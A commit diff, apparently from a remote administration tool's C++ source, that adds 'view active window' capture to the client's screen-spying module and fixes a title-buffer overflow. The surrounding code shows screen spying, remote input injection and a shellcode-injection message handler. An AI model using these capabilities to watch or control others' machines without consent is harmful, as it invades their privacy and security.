Feat: Support viewing active window via online-host popup menu

This commit is contained in:
yuanyuanxiang
2026-06-15 16:14:01 +02:00
parent 931492a294
commit 2765d95950
13 changed files with 118 additions and 24 deletions

View File

@@ -170,7 +170,8 @@ public:
// 感兴趣区域 (ROI)
RECT m_ROI = {0,0,0,0};
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口NULL=保持原 HWND
int m_nScaleSendWidth = 0;
int m_nScaleSendHeight = 0;

View File

@@ -471,11 +471,18 @@ void CScreenManager::InitScreenSpy()
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) {
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
uint64_t hwnd64 = 0;
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
if (hwnd64 == (uint64_t)-1) {
m_bDynamicForeground = true;
m_hTargetWnd = GetForegroundWindow();
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
} else if (hwnd64) {
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
}
}
}
m_pUserParam = param;
@@ -488,7 +495,7 @@ void CScreenManager::InitScreenSpy()
algo = m_QualityProfiles[level].algorithm;
}
// 窗口捕获必须走 GDIPrintWindowScreenCapturerDXGI 无窗口捕获能力
if (m_hTargetWnd && DXGI == USING_DXGI) {
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
DXGI = USING_GDI;
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
}
@@ -542,12 +549,12 @@ void CScreenManager::InitScreenSpy()
} else {
SAFE_DELETE(s);
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
} else {
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
}
}
@@ -651,10 +658,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
if (!This->IsConnected()) continue;
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
if (!_targetWnd || !IsIconic(_targetWnd)) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->IsRunAsService() && !This->m_virtual) {
@@ -711,6 +722,10 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
}
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager
// 否则 InitScreenSpy 会沿用旧 HWND导致无限重建循环
if (This->m_ScreenSpyObject->m_NextTargetWnd)
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
SAFE_DELETE(This->m_ScreenSpyObject);
This->InitScreenSpy();
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
@@ -852,7 +867,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
if (mode == 0x00 && ulLength > 2) {
const char* title = (const char*)(szBuffer + 2);
char title[512] = {};
int titleLen = ulLength - 2;
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
memcpy(title, szBuffer + 2, titleLen);
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
@@ -862,6 +880,11 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
} else {
m_hTargetWnd = NULL;
m_bDynamicForeground = false;
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
}
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
}
RestartScreen();
@@ -2087,7 +2110,8 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
if (m_ScreenSpyObject) {
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
SetForegroundWindow(hwndTarget);
if (!SetForegroundWindow(hwndTarget))
return; // UIPI 等原因置前失败,不向错误窗口注入输入
}
}

View File

@@ -64,7 +64,8 @@ public:
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
RECT m_ROI = {0};
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口HWND sentinel=-1触发
BOOL m_SwitchScreen = TRUE;
BOOL SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);

View File

@@ -13,10 +13,11 @@
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
RECT rc, BOOL switchScreen, HWND hwnd) :
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
{
m_hTargetWnd = hwnd;
m_bDynamicForeground = dynamicFg;
m_GOP = gop;
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
@@ -160,7 +161,36 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
if (m_hTargetWnd) {
if (m_hTargetWnd || m_bDynamicForeground) {
// 动态前景模式:每帧查询当前前景窗口,切换时尺寸不变则直接复用,尺寸变化则触发重建
if (m_bDynamicForeground) {
HWND fg = GetForegroundWindow();
if (fg && fg != m_hTargetWnd) {
RECT wndRc = {}, frameRc = {};
GetWindowRect(fg, &wndRc);
frameRc = wndRc;
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
// 尺寸不同:触发重建,同时把新 HWND 写入 m_NextTargetWnd
// 让 WorkThread 在重建前同步更新 CScreenManager::m_hTargetWnd
m_NextTargetWnd = fg;
m_bNeedRestart = true;
return;
}
// 尺寸相同:直接切换,更新阴影偏移和缓存,无需重建
m_ShadowLeft = frameRc.left - wndRc.left;
m_ShadowTop = frameRc.top - wndRc.top;
m_CachedWndW = wndRc.right - wndRc.left;
m_CachedWndH = wndRc.bottom - wndRc.top;
m_PendingWndW = m_PendingWndH = 0;
m_hTargetWnd = fg;
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
}
if (!m_hTargetWnd) return; // 当前无前景窗口,冻结上一帧
}
// 最小化不绘制hdcDest 保留上一帧内容(远程端看到冻结画面)
if (IsIconic(m_hTargetWnd)) return;

View File

@@ -95,7 +95,8 @@ protected:
BOOL m_bVirtualPaint;// 是否虚拟绘制
EnumHwndsPrintData m_data;
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
int m_ShadowLeft = 0; // DWM 阴影左偏移frameRc.left - fullRc.left帧间缓存
int m_ShadowTop = 0; // DWM 阴影上偏移frameRc.top - fullRc.top帧间缓存
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
@@ -106,7 +107,7 @@ protected:
public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL);
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }

Binary file not shown.

View File

@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
@@ -993,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
END_MESSAGE_MAP()
@@ -4030,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -10298,6 +10301,22 @@ LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
return S_OK;
}
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
{
// 向指定客户端发送"动态前景窗口捕获"命令。
// 复用 WM_OPEN_WINDOW_SCREEN 消息hwnd64 用 (uint64_t)-1 作为 sentinel。
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
// PostCaptureForegroundWindow(GetSelectedContext());
char* arg = new char[2 * sizeof(uint64_t)]();
uint64_t clientID = ctx->GetClientID();
uint64_t sentinel = (uint64_t)-1;
memcpy(arg, &clientID, sizeof(uint64_t));
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
delete[] arg;
}
}
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{
char* ip = (char*)wParam;
@@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
}
CloseClipboard();
}
void CMy2015RemoteDlg::OnOnlineActiveWnd()
{
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
if (!Pos) return;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
auto ctx = GetContextByListIndex(iItem);
if (!ctx) return;
PostCaptureForegroundWindow(ctx);
}

View File

@@ -381,7 +381,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
CBitmap m_bmOnline[60];
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -511,6 +511,7 @@ public:
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
@@ -633,4 +634,5 @@ public:
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
afx_msg void OnCopyClientInfo();
afx_msg void OnOnlineActiveWnd();
};

View File

@@ -498,13 +498,13 @@
<ItemGroup>
<Image Include="res\2015Remote.ico" />
<Image Include="res\audio.ico" />
<Image Include="res\bitmap\ActiveWnd.bmp" />
<Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" />

View File

@@ -323,8 +323,8 @@
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\bitmap\compress.bmp" />
<Image Include="res\bitmap\uncompress.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\bitmap\uninstall.bmp" />
<Image Include="res\Bitmap\Copy.bmp" />
<Image Include="res\bitmap\ActiveWnd.bmp" />
</ItemGroup>
</Project>

View File

@@ -662,5 +662,7 @@ void CSystemDlg::OnWlistView()
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
ASSERT(m_pParent);
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
delete[] arg;
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

View File

@@ -267,6 +267,8 @@
#define IDB_BITMAP_UNCOMPRESS 387
#define IDB_BITMAP9 388
#define IDB_BITMAP_COPY 389
#define IDB_BITMAP10 390
#define IDB_BITMAP_ACTIVE_WND 390
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -1002,14 +1004,16 @@
#define ID_COPY_CLIENT_INFO 33063
#define ID_WLIST_33064 33064
#define ID_WLIST_VIEW 33065
#define ID_ONLINE_33066 33066
#define ID_ONLINE_ACTIVE_WND 33067
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 389
#define _APS_NEXT_COMMAND_VALUE 33066
#define _APS_NEXT_RESOURCE_VALUE 391
#define _APS_NEXT_COMMAND_VALUE 33068
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif